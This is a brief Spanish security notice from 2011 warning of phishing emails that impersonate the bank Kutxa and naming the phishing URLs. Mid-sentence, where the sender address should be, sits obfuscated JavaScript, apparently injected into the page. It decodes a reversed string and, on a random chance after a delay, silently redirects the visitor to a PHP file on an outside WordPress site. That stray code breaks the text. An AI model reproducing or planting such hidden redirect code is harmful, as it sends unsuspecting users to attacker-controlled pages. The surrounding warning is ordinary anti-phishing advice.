AVISO DE FALSO MAIL MASIVO DE KUTXA (ENTIDAD BANCARIA VASCA)

Se están recibiendo mails fraudulentos con remitente KUTXA con enlaces maliciosos a paginas phishing, http://simwd.net/<interceptado>.php  y a http://frielstudio.com/<interceptado>.php aparentando venir de “$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:banco@kutxa.es”>banco@kutxa.es” respectivamente, pidiendo que se pulse en links que ofrecen al efecto de “Para reactivar su cuenta en linea por favor haga click aqui .”

Mail malicioso: 

___________

____________

Fin del mail

Como siempre decimos, no deben pulsarse en links de mails no solicitados (ni en ficheros, claro) pues lo que en esta caso se consigue es enlayar con una web phishing de la original, que intenta recoger los datos del usuario:

 pantalla phishing:

_____________

_____________

Fin pantalla phishing

Esperamos que este aviso sirva para evitar que caigan en la trampa !!!

saludos

ms, 20/10/2011